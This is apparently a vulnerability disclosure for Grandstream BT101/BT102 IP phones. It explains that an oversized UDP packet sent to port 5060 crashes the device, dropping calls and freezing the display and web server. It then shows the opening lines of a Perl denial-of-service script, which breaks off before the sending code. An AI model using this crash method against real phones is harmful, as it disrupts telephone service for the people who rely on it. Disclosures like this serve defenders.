Vulnerable Firmware:
* Firmware 3D version 1.0.6.7 (previous versions suspected)
If you send an UDP packet larger than 65534 bytes to port 5060 the devices stop working.
* Any active telephone call will be aborted.
* The display will show nothing / display freeze.
* The integrated HTTP-server won't be reachable any more.
To solve the problem, you must switch the phone off and on again.
If you send a packet of exactly 65534 bytes the device may reboot. Smaller packets have no effect.
Exploit:
#!/usr/bin/perl
#
use IO::Socket;
use Term::ANSIColor;
############## U S A G E ##################
system ("clear");
print "\nGrandstream BT101/BT102 DoS\n";
print "written by pierre kroma (kroma\@syss.de)\n\n";